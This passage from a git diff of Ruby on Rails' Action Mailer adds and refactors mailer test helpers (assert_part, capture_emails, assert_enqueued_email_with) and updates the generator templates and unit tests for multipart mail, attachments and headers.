+      def assert_no_part(content_type, mail = last_delivered_mail!)
+        mime_type = Mime[content_type]
+        part = [*mail.parts, mail].find { |part| mime_type.match?(part.mime_type) }
+
+        assert_nil part, "expected no part matching #{mime_type} in #{mail.inspect}"
+      end
+
+      private
         def initialize_test_deliveries
           set_delivery_method :test
           @old_perform_deliveries = ActionMailer::Base.perform_deliveries
@@ -111,8 +170,14 @@ def encode(subject)
           Mail::Encodings.q_value_encode(subject, charset)
         end
 
-        def read_fixture(action)
-          IO.readlines(File.join(Rails.root, "test", "fixtures", self.class.mailer_class.name.underscore, action))
+        def last_delivered_mail
+          self.class.mailer_class.deliveries.last
+        end
+
+        def last_delivered_mail!
+          last_delivered_mail.tap do |mail|
+            flunk "No e-mail in delivery list" if mail.nil?
+          end
         end
     end
 
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
index c30fb1fc18fb5..32fcb66873834 100644
--- a/actionmailer/lib/action_mailer/test_helper.rb
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
 require "active_job"
 
 module ActionMailer
@@ -26,15 +29,13 @@ module TestHelper
     #
     #     assert_emails 2 do
     #       ContactMailer.welcome.deliver_now
-    #       ContactMailer.welcome.deliver_now
+    #       ContactMailer.welcome.deliver_later
     #     end
     #   end
-    def assert_emails(number)
+    def assert_emails(number, &block)
       if block_given?
-        original_count = ActionMailer::Base.deliveries.size
-        yield
-        new_count = ActionMailer::Base.deliveries.size
-        assert_equal number, new_count - original_count, "#{number} emails expected, but #{new_count - original_count} were sent"
+        diff = capture_emails(&block).length
+        assert_equal number, diff, "#{number} emails expected, but #{diff} were sent"
       else
         assert_equal number, ActionMailer::Base.deliveries.size
       end
@@ -58,7 +59,7 @@ def assert_emails(number)
     #
     # Note: This assertion is simply a shortcut for:
     #
-    #   assert_emails 0
+    #   assert_emails 0, &block
     def assert_no_emails(&block)
       assert_emails 0, &block
     end
@@ -88,7 +89,88 @@ def assert_no_emails(&block)
     #     end
     #   end
     def assert_enqueued_emails(number, &block)
-      assert_enqueued_jobs number, only: [ ActionMailer::DeliveryJob, ActionMailer::Parameterized::DeliveryJob ], &block
+      assert_enqueued_jobs(number, only: ->(job) { delivery_job_filter(job) }, &block)
+    end
+
+    # Asserts that a specific email has been enqueued, optionally
+    # matching arguments and/or params.
+    #
+    #   def test_email
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome
+    #   end
+    #
+    #   def test_email_with_parameters
+    #     ContactMailer.with(greeting: "Hello").welcome.deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome, args: { greeting: "Hello" }
+    #   end
+    #
+    #   def test_email_with_arguments
+    #     ContactMailer.welcome("Hello", "Goodbye").deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome, args: ["Hello", "Goodbye"]
+    #   end
+    #
+    #   def test_email_with_named_arguments
+    #     ContactMailer.welcome(greeting: "Hello", farewell: "Goodbye").deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome, args: [{ greeting: "Hello", farewell: "Goodbye" }]
+    #   end
+    #
+    #   def test_email_with_parameters_and_arguments
+    #     ContactMailer.with(greeting: "Hello").welcome("Cheers", "Goodbye").deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome, params: { greeting: "Hello" }, args: ["Cheers", "Goodbye"]
+    #   end
+    #
+    #   def test_email_with_parameters_and_named_arguments
+    #     ContactMailer.with(greeting: "Hello").welcome(farewell: "Goodbye").deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome, params: { greeting: "Hello" }, args: [{farewell: "Goodbye"}]
+    #   end
+    #
+    #   def test_email_with_parameterized_mailer
+    #     ContactMailer.with(greeting: "Hello").welcome.deliver_later
+    #     assert_enqueued_email_with ContactMailer.with(greeting: "Hello"), :welcome
+    #   end
+    #
+    #   def test_email_with_matchers
+    #     ContactMailer.with(greeting: "Hello").welcome("Cheers", "Goodbye").deliver_later
+    #     assert_enqueued_email_with ContactMailer, :welcome,
+    #       params: ->(params) { /hello/i.match?(params[:greeting]) },
+    #       args: ->(args) { /cheers/i.match?(args[0]) }
+    #   end
+    #
+    # If a block is passed, that block should cause the specified email
+    # to be enqueued.
+    #
+    #   def test_email_in_block
+    #     assert_enqueued_email_with ContactMailer, :welcome do
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #   end
+    #
+    # If +args+ is provided as a Hash, a parameterized email is matched.
+    #
+    #   def test_parameterized_email
+    #     assert_enqueued_email_with ContactMailer, :welcome,
+    #       args: {email: 'user@example.com'} do
+    #       ContactMailer.with(email: 'user@example.com').welcome.deliver_later
+    #     end
+    #   end
+    def assert_enqueued_email_with(mailer, method, params: nil, args: nil, queue: nil, &block)
+      if mailer.is_a? ActionMailer::Parameterized::Mailer
+        params = mailer.instance_variable_get(:@params)
+        mailer = mailer.instance_variable_get(:@mailer)
+      end
+
+      args = Array(args) unless args.is_a?(Proc)
+      queue ||= mailer.deliver_later_queue_name || ActiveJob::Base.default_queue_name
+
+      expected = ->(job_args) do
+        job_kwargs = job_args.extract_options!
+
+        [mailer.to_s, method.to_s, "deliver_now"] == job_args &&
+          params === job_kwargs[:params] && args === job_kwargs[:args]
+      end
+
+      assert_enqueued_with(job: mailer.delivery_job, args: expected, queue: queue.to_s, &block)
     end
 
     # Asserts that no emails are enqueued for later delivery.
@@ -107,7 +189,76 @@ def assert_enqueued_emails(number, &block)
     #     end
     #   end
     def assert_no_enqueued_emails(&block)
-      assert_no_enqueued_jobs only: [ ActionMailer::DeliveryJob, ActionMailer::Parameterized::DeliveryJob ], &block
+      assert_enqueued_emails 0, &block
+    end
+
+    # Delivers all enqueued emails. If a block is given, delivers all of the emails
+    # that were enqueued throughout the duration of the block. If a block is
+    # not given, delivers all the enqueued emails up to this point in the test.
+    #
+    #   def test_deliver_enqueued_emails
+    #     deliver_enqueued_emails do
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #
+    #     assert_emails 1
+    #   end
+    #
+    #   def test_deliver_enqueued_emails_without_block
+    #     ContactMailer.welcome.deliver_later
+    #
+    #     deliver_enqueued_emails
+    #
+    #     assert_emails 1
+    #   end
+    #
+    # If the +:queue+ option is specified,
+    # then only the emails(s) enqueued to a specific queue will be performed.
+    #
+    #   def test_deliver_enqueued_emails_with_queue
+    #     deliver_enqueued_emails queue: :external_mailers do
+    #       CustomerMailer.deliver_later_queue_name = :external_mailers
+    #       CustomerMailer.welcome.deliver_later # will be performed
+    #       EmployeeMailer.deliver_later_queue_name = :internal_mailers
+    #       EmployeeMailer.welcome.deliver_later # will not be performed
+    #     end
+    #
+    #     assert_emails 1
+    #   end
+    #
+    # If the +:at+ option is specified, then only delivers emails enqueued to deliver
+    # immediately or before the given time.
+    def deliver_enqueued_emails(queue: nil, at: nil, &block)
+      perform_enqueued_jobs(only: ->(job) { delivery_job_filter(job) }, queue: queue, at: at, &block)
+    end
+
+    # Returns any emails that are sent in the block.
+    #
+    #   def test_emails
+    #     emails = capture_emails do
+    #       ContactMailer.welcome.deliver_now
+    #     end
+    #     assert_equal "Hi there", emails.first.subject
+    #
+    #     emails = capture_emails do
+    #       ContactMailer.welcome.deliver_now
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #     assert_equal "Hi there", emails.first.subject
+    #   end
+    def capture_emails(&block)
+      original_count = ActionMailer::Base.deliveries.size
+      deliver_enqueued_emails(&block)
+      new_count = ActionMailer::Base.deliveries.size
+      diff = new_count - original_count
+      ActionMailer::Base.deliveries.last(diff)
     end
+
+    private
+      def delivery_job_filter(job)
+        job_class = job.is_a?(Hash) ? job.fetch(:job) : job.class
+
+        Base.descendants.map(&:delivery_job).include?(job_class)
+      end
   end
 end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 8452d6370e5b4..9be6e66e07bb0 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActionMailer
-  # Returns the version of the currently loaded Action Mailer as a
-  # <tt>Gem::Version</tt>.
+  # Returns the currently loaded version of Action Mailer as a
+  # +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
index 2b0a078109e95..6768e5c2a2ac2 100644
--- a/actionmailer/lib/rails/generators/mailer/USAGE
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -1,17 +1,20 @@
 Description:
-============
-    Stubs out a new mailer and its views. Passes the mailer name, either
+    Generates a new mailer and its views. Passes the mailer name, either
     CamelCased or under_scored, and an optional list of emails as arguments.
 
     This generates a mailer class in app/mailers and invokes your template
     engine and test framework generators.
 
-Example:
-========
-    rails generate mailer Notifications signup forgot_password invoice
+Examples:
+    `bin/rails generate mailer sign_up`
+
+    creates a sign up mailer class, views, and test:
+        Mailer:     app/mailers/sign_up_mailer.rb
+        Views:      app/views/sign_up_mailer/signup.text.erb [...]
+        Test:       test/mailers/sign_up_mailer_test.rb
+
+    `bin/rails generate mailer notifications sign_up forgot_password invoice`
+
+    creates a notifications mailer with sign_up, forgot_password, and invoice actions.
 
-    creates a Notifications mailer class, views, and test:
-        Mailer:     app/mailers/notifications_mailer.rb
-        Views:      app/views/notifications_mailer/signup.text.erb [...]
-        Test:       test/mailers/notifications_mailer_test.rb
 
diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
index 99fe4544f180b..c37a74c76232a 100644
--- a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
+++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class MailerGenerator < NamedBase
-      source_root File.expand_path("../templates", __FILE__)
+      source_root File.expand_path("templates", __dir__)
 
       argument :actions, type: :array, default: [], banner: "method method"
 
@@ -21,7 +23,7 @@ def create_mailer_file
 
       private
         def file_name # :doc:
-          @_file_name ||= super.gsub(/_mailer/i, "")
+          @_file_name ||= super.sub(/_mailer\z/i, "")
         end
 
         def application_mailer_file_name
diff --git a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb.tt
similarity index 100%
rename from actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
rename to actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb.tt
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
deleted file mode 100644
index 348d3147586be..0000000000000
--- a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-<% module_namespacing do -%>
-class <%= class_name %>Mailer < ApplicationMailer
-<% actions.each do |action| -%>
-
-  # Subject can be set in your I18n file at config/locales/en.yml
-  # with the following lookup:
-  #
-  #   en.<%= file_path.tr("/",".") %>_mailer.<%= action %>.subject
-  #
-  def <%= action %>
-    @greeting = "Hi"
-
-    mail to: "to@example.org"
-  end
-<% end -%>
-end
-<% end -%>
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb.tt b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb.tt
new file mode 100644
index 0000000000000..333a9f59b8144
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb.tt
@@ -0,0 +1,19 @@
+<% module_namespacing do -%>
+class <%= class_name %>Mailer < ApplicationMailer
+<% actions.each_with_index do |action, index| -%>
+<% if index != 0 -%>
+
+<% end -%>
+  # Subject can be set in your I18n file at config/locales/en.yml
+  # with the following lookup:
+  #
+  #   en.<%= file_path.tr("/",".") %>_mailer.<%= action %>.subject
+  #
+  def <%= action %>
+    @greeting = "Hi"
+
+    mail to: "to@example.org"
+  end
+<% end -%>
+end
+<% end -%>
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index a646cbd581c08..d795e466c3003 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
 require "active_support/core_ext/kernel/reporting"
 
 # These are the normal settings that will be set up by Railties
@@ -9,7 +12,7 @@
 
 module Rails
   def self.root
-    File.expand_path("../", File.dirname(__FILE__))
+    File.expand_path("..", __dir__)
   end
 end
 
@@ -23,23 +26,18 @@ def self.root
 ActionMailer::Base.include(ActionView::Layouts)
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActionMailer.deprecator.debug = true
 
 # Disable available locale checks to avoid warnings running the test suite.
 I18n.enforce_available_locales = false
 
-FIXTURE_LOAD_PATH = File.expand_path("fixtures", File.dirname(__FILE__))
+FIXTURE_LOAD_PATH = File.expand_path("fixtures", __dir__)
 ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
 
+ActionMailer::Base.delivery_job = ActionMailer::MailDeliveryJob
+
 class ActiveSupport::TestCase
   include ActiveSupport::Testing::MethodCallAssertions
-
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
-  end
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
-  end
 end
+
+require_relative "../../tools/test_common"
diff --git a/actionmailer/test/assert_select_email_test.rb b/actionmailer/test/assert_select_email_test.rb
index bf14fe0853034..5052f64d13016 100644
--- a/actionmailer/test/assert_select_email_test.rb
+++ b/actionmailer/test/assert_select_email_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class AssertSelectEmailTest < ActionMailer::TestCase
@@ -8,25 +10,75 @@ def test(html)
     end
   end
 
+  tests AssertSelectMailer
+
+  #
+  # Test assert_select_email
+  #
+
+  def test_assert_select_email
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_select_email { }
+    end
+
+    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_part_last_mail_delivery
+    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+
+    assert_part :html do |html|
+      assert_kind_of Rails::Dom::Testing.html_document, html
+
+      assert_dom html, "div" do
+        assert_dom "p:first-child", "foo"
+        assert_dom "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_part_with_mail_argument
+    mail = AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>")
+
+    assert_part :html, mail do |html|
+      assert_kind_of Rails::Dom::Testing.html_document, html
+
+      assert_dom html, "div" do
+        assert_dom "p:first-child", "foo"
+        assert_dom "p:last-child", "bar"
+      end
+    end
+  end
+end
+
+class AssertMultipartSelectEmailTest < ActionMailer::TestCase
   class AssertMultipartSelectMailer < ActionMailer::Base
     def test(options)
       mail subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>" do |format|
-        format.text { render plain: options[:text] }
-        format.html { render plain: options[:html] }
+        format.text { render plain: options[:text] } if options.key?(:text)
+        format.html { render plain: options[:html] } if options.key?(:html)
       end
     end
   end
 
+  tests AssertMultipartSelectMailer
+
   #
   # Test assert_select_email
   #
 
   def test_assert_select_email
     assert_raise ActiveSupport::TestCase::Assertion do
-      assert_select_email {}
+      assert_select_email { }
     end
 
-    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+    AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: "foo bar").deliver_now
     assert_select_email do
       assert_select "div:root" do
         assert_select "p:first-child", "foo"
@@ -44,4 +96,60 @@ def test_assert_select_email_multipart
       end
     end
   end
+
+  def test_assert_part_last_mail_delivery
+    AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: "foo bar").deliver_now
+
+    assert_part :text do |text|
+      assert_includes text, "foo bar"
+    end
+    assert_part :html do |html|
+      assert_kind_of Rails::Dom::Testing.html_document, html
+
+      assert_dom html, "div" do
+        assert_dom "p:first-child", "foo"
+        assert_dom "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_part_with_mail_argument
+    mail = AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: "foo bar")
+
+    assert_part :text, mail do |text|
+      assert_includes text, "foo bar"
+    end
+    assert_part :html, mail do |html|
+      assert_kind_of Rails::Dom::Testing.html_document, html
+
+      assert_dom html, "div" do
+        assert_dom "p:first-child", "foo"
+        assert_dom "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_part_without_block
+    assert_part :html, AssertMultipartSelectMailer.test(html: "html")
+    assert_part :text, AssertMultipartSelectMailer.test(text: "text")
+
+    assert_raises Minitest::Assertion, match: "expected part matching text/html" do
+      assert_part :html, AssertMultipartSelectMailer.test(text: "text")
+    end
+    assert_raises Minitest::Assertion, match: "expected part matching text/plain" do
+      assert_part :text, AssertMultipartSelectMailer.test(html: "html")
+    end
+  end
+
+  def test_assert_no_part
+    assert_no_part :html, AssertMultipartSelectMailer.test(text: "text")
+    assert_no_part :text, AssertMultipartSelectMailer.test(html: "html")
+
+    assert_raises Minitest::Assertion, match: "expected no part matching text/html" do
+      assert_no_part :html, AssertMultipartSelectMailer.test(html: "html")
+    end
+    assert_raises Minitest::Assertion, match: "expected no part matching text/plain" do
+      assert_no_part :text, AssertMultipartSelectMailer.test(text: "text")
+    end
+  end
 end
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
index 812df01a34dba..7e0d7e7cc599b 100644
--- a/actionmailer/test/asset_host_test.rb
+++ b/actionmailer/test/asset_host_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller"
 
@@ -22,16 +24,16 @@ def teardown
 
   def test_asset_host_as_string
     mail = AssetHostMailer.email_with_asset
-    assert_dom_equal '<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />', mail.body.to_s.strip
+    assert_dom_equal '<img src="http://www.example.com/images/somelogo.png" />', mail.body.to_s.strip
   end
 
   def test_asset_host_as_one_argument_proc
     AssetHostMailer.config.asset_host = Proc.new { |source|
-      if source.starts_with?("/images")
+      if source.start_with?("/images")
         "http://images.example.com"
       end
     }
     mail = AssetHostMailer.email_with_asset
-    assert_dom_equal '<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />', mail.body.to_s.strip
+    assert_dom_equal '<img src="http://images.example.com/images/somelogo.png" />', mail.body.to_s.strip
   end
 end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index 61960d411ddad..74e33709ff608 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "set"
 
 require "action_dispatch"
 require "active_support/time"
@@ -34,6 +35,7 @@ class BaseTest < ActiveSupport::TestCase
     email = BaseMailer.welcome
     assert_equal(["system@test.lindsaar.net"],    email.to)
     assert_equal(["jose@test.plataformatec.com"], email.from)
+    assert_equal(["mikel@test.lindsaar.net"],     email.reply_to)
     assert_equal("The first email on new API!",   email.subject)
   end
 
@@ -67,6 +69,13 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal("Welcome", email.body.encoded)
   end
 
+  test "mail() doesn't set the mailer as a controller in the execution context" do
+    ActiveSupport::ExecutionContext.clear
+    assert_nil ActiveSupport::ExecutionContext.to_h[:controller]
+    BaseMailer.welcome(from: "someone@example.com", to: "another@example.org").to
+    assert_nil ActiveSupport::ExecutionContext.to_h[:controller]
+  end
+
   test "can pass in :body to the mail method hash" do
     email = BaseMailer.welcome(body: "Hello there")
     assert_equal("text/plain", email.mime_type)
@@ -80,6 +89,17 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal("text/plain", mail.mime_type)
   end
 
+  test "mail() using email_address_with_name" do
+    email = BaseMailer.with_name
+    assert_equal("Sunny <sunny@example.com>", email["To"].value)
+    assert_equal("Mikel <mikel@test.lindsaar.net>", email["Reply-To"].value)
+  end
+
+  test "mail() using email_address_with_name with blank string as name" do
+    email = BaseMailer.with_blank_name
+    assert_equal("sunny@example.com", email["To"].value)
+  end
+
   # Custom headers
   test "custom headers" do
     email = BaseMailer.welcome
@@ -88,18 +108,18 @@ class BaseTest < ActiveSupport::TestCase
 
   test "can pass random headers in as a hash to mail" do
     hash = { "X-Special-Domain-Specific-Header" => "SecretValue",
-            "In-Reply-To" => "1234@mikel.me.com" }
+            "In-Reply-To" => "<1234@mikel.me.com>" }
     mail = BaseMailer.welcome(hash)
     assert_equal("SecretValue", mail["X-Special-Domain-Specific-Header"].decoded)
-    assert_equal("1234@mikel.me.com", mail["In-Reply-To"].decoded)
+    assert_equal("<1234@mikel.me.com>", mail["In-Reply-To"].decoded)
   end
 
   test "can pass random headers in as a hash to headers" do
     hash = { "X-Special-Domain-Specific-Header" => "SecretValue",
-            "In-Reply-To" => "1234@mikel.me.com" }
+            "In-Reply-To" => "<1234@mikel.me.com>" }
     mail = BaseMailer.welcome_with_headers(hash)
     assert_equal("SecretValue", mail["X-Special-Domain-Specific-Header"].decoded)
-    assert_equal("1234@mikel.me.com", mail["In-Reply-To"].decoded)
+    assert_equal("<1234@mikel.me.com>", mail["In-Reply-To"].decoded)
   end
 
   # Attachments
@@ -120,7 +140,7 @@ class BaseTest < ActiveSupport::TestCase
     email = BaseMailer.attachment_with_hash
     assert_equal(1, email.attachments.length)
     assert_equal("invoice.jpg", email.attachments[0].filename)
-    expected = "\312\213\254\232)b"
+    expected = +"\312\213\254\232)b"
     expected.force_encoding(Encoding::BINARY)
     assert_equal expected, email.attachments["invoice.jpg"].decoded
   end
@@ -129,7 +149,7 @@ class BaseTest < ActiveSupport::TestCase
     email = BaseMailer.attachment_with_hash_default_encoding
     assert_equal(1, email.attachments.length)
     assert_equal("invoice.jpg", email.attachments[0].filename)
-    expected = "\312\213\254\232)b"
+    expected = +"\312\213\254\232)b"
     expected.force_encoding(Encoding::BINARY)
     assert_equal expected, email.attachments["invoice.jpg"].decoded
   end
@@ -150,9 +170,9 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal(2, email.parts.length)
     assert_equal("multipart/mixed", email.mime_type)
     assert_equal("text/html", email.parts[0].mime_type)
-    assert_equal("Attachment with content", email.parts[0].body.encoded)
+    assert_equal("Attachment with content", email.parts[0].decoded)
     assert_equal("application/pdf", email.parts[1].mime_type)
-    assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+    assert_equal("This is test File content", email.parts[1].decoded)
   end
 
   test "adds the given :body as part" do
@@ -160,9 +180,9 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal(2, email.parts.length)
     assert_equal("multipart/mixed", email.mime_type)
     assert_equal("text/plain", email.parts[0].mime_type)
-    assert_equal("I'm the eggman", email.parts[0].body.encoded)
+    assert_equal("I'm the eggman", email.parts[0].decoded)
     assert_equal("application/pdf", email.parts[1].mime_type)
-    assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+    assert_equal("This is test File content", email.parts[1].decoded)
   end
 
   test "can embed an inline attachment" do
@@ -177,7 +197,21 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal("logo.png", email.parts[1].filename)
   end
 
-  # Defaults values
+  test "can embed an inline attachment and other attachments" do
+    email = BaseMailer.inline_and_other_attachments
+    # Need to call #encoded to force the JIT sort on parts
+    email.encoded
+    assert_equal(2, email.parts.length)
+    assert_equal("multipart/mixed", email.mime_type)
+    assert_equal("multipart/related", email.parts[0].mime_type)
+    assert_equal("multipart/alternative", email.parts[0].parts[0].mime_type)
+    assert_equal("text/plain", email.parts[0].parts[0].parts[0].mime_type)
+    assert_equal("text/html",  email.parts[0].parts[0].parts[1].mime_type)
+    assert_equal("logo.png", email.parts[0].parts[1].filename)
+    assert_equal("certificate.pdf", email.parts[1].filename)
+  end
+
+  # Default values
   test "uses default charset from class" do
     with_default BaseMailer, charset: "US-ASCII" do
       email = BaseMailer.welcome
@@ -265,6 +299,17 @@ def welcome
     assert_match(/Can't add attachments after `mail` was called./, e.message)
   end
 
+  test "accessing inline attachments after mail was called works" do
+    class LateInlineAttachmentAccessorMailer < ActionMailer::Base
+      def welcome
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+        attachments.inline["invoice.pdf"]
+      end
+    end
+
+    assert_nothing_raised { LateInlineAttachmentAccessorMailer.welcome.message }
+  end
+
   test "adding inline attachments while rendering mail works" do
     class LateInlineAttachmentMailer < ActionMailer::Base
       def on_render
@@ -286,7 +331,7 @@ def welcome
         mail body: "yay", from: "welcome@example.com", to: "to@example.com"
 
         unless attachments.map(&:filename) == ["invoice.pdf"]
-          raise Minitest::Assertion, "Should allow access to attachments"
+          flunk("Should allow access to attachments")
         end
       end
     end
@@ -305,6 +350,16 @@ def welcome
     assert_equal("HTML Implicit Multipart", email.parts[1].body.encoded)
   end
 
+  test "implicit multipart formats" do
+    email = BaseMailer.implicit_multipart_formats
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("Implicit Multipart [:text]", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("Implicit Multipart [:html]", email.parts[1].body.encoded)
+  end
+
   test "implicit multipart with sort order" do
     order = ["text/html", "text/plain"]
     with_default BaseMailer, parts_order: order do
@@ -320,22 +375,21 @@ def welcome
 
   test "implicit multipart with attachments creates nested parts" do
     email = BaseMailer.implicit_multipart(attachments: true)
-    assert_equal("application/pdf", email.parts[0].mime_type)
-    assert_equal("multipart/alternative", email.parts[1].mime_type)
-    assert_equal("text/plain", email.parts[1].parts[0].mime_type)
-    assert_equal("TEXT Implicit Multipart", email.parts[1].parts[0].body.encoded)
-    assert_equal("text/html", email.parts[1].parts[1].mime_type)
-    assert_equal("HTML Implicit Multipart", email.parts[1].parts[1].body.encoded)
+    assert_equal(%w[ application/pdf multipart/alternative ], email.parts.map(&:mime_type).sort)
+    multipart = email.parts.detect { |p| p.mime_type == "multipart/alternative" }
+    assert_equal("text/plain", multipart.parts[0].mime_type)
+    assert_equal("TEXT Implicit Multipart", multipart.parts[0].body.encoded)
+    assert_equal("text/html", multipart.parts[1].mime_type)
+    assert_equal("HTML Implicit Multipart", multipart.parts[1].body.encoded)
   end
 
   test "implicit multipart with attachments and sort order" do
     order = ["text/html", "text/plain"]
     with_default BaseMailer, parts_order: order do
       email = BaseMailer.implicit_multipart(attachments: true)
-      assert_equal("application/pdf", email.parts[0].mime_type)
-      assert_equal("multipart/alternative", email.parts[1].mime_type)
-      assert_equal("text/plain", email.parts[1].parts[1].mime_type)
-      assert_equal("text/html", email.parts[1].parts[0].mime_type)
+      assert_equal(%w[ application/pdf multipart/alternative ], email.parts.map(&:mime_type).sort)
+      multipart = email.parts.detect { |p| p.mime_type == "multipart/alternative" }
+      assert_equal(%w[ text/html text/plain ], multipart.parts.map(&:mime_type).sort)
     end
   end
 
@@ -425,12 +479,12 @@ def welcome
 
   test "explicit multipart with attachments creates nested parts" do
     email = BaseMailer.explicit_multipart(attachments: true)
-    assert_equal("application/pdf", email.parts[0].mime_type)
-    assert_equal("multipart/alternative", email.parts[1].mime_type)
-    assert_equal("text/plain", email.parts[1].parts[0].mime_type)
-    assert_equal("TEXT Explicit Multipart", email.parts[1].parts[0].body.encoded)
-    assert_equal("text/html", email.parts[1].parts[1].mime_type)
-    assert_equal("HTML Explicit Multipart", email.parts[1].parts[1].body.encoded)
+    assert_equal(%w[ application/pdf multipart/alternative ], email.parts.map(&:mime_type).sort)
+    multipart = email.parts.detect { |p| p.mime_type == "multipart/alternative" }
+    assert_equal("text/plain", multipart.parts[0].mime_type)
+    assert_equal("TEXT Explicit Multipart", multipart.parts[0].body.encoded)
+    assert_equal("text/html", multipart.parts[1].mime_type)
+    assert_equal("HTML Explicit Multipart", multipart.parts[1].body.encoded)
   end
 
   test "explicit multipart with templates" do
@@ -505,8 +559,8 @@ def welcome
   test "should respond to action methods" do
     assert_respond_to BaseMailer, :welcome
     assert_respond_to BaseMailer, :implicit_multipart
-    assert !BaseMailer.respond_to?(:mail)
-    assert !BaseMailer.respond_to?(:headers)
+    assert_not_respond_to BaseMailer, :mail
+    assert_not_respond_to BaseMailer, :headers
   end
 
   test "calling just the action should return the generated mail object" do
@@ -543,6 +597,12 @@ def welcome
     assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
   end
 
+  test "you can specify a different template for multipart render" do
+    mail = BaseMailer.implicit_different_template_with_block("explicit_multipart_templates").deliver
+    assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
+    assert_equal("TEXT Explicit Multipart Templates", mail.text_part.body.decoded)
+  end
+
   test "should raise if missing template in implicit render" do
     assert_raises ActionView::MissingTemplate do
       BaseMailer.implicit_different_template("missing_template").deliver_now
@@ -576,7 +636,7 @@ def welcome
 
     mail = AssetMailer.welcome
 
-    assert_dom_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
+    assert_dom_equal(%{<img src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
   end
 
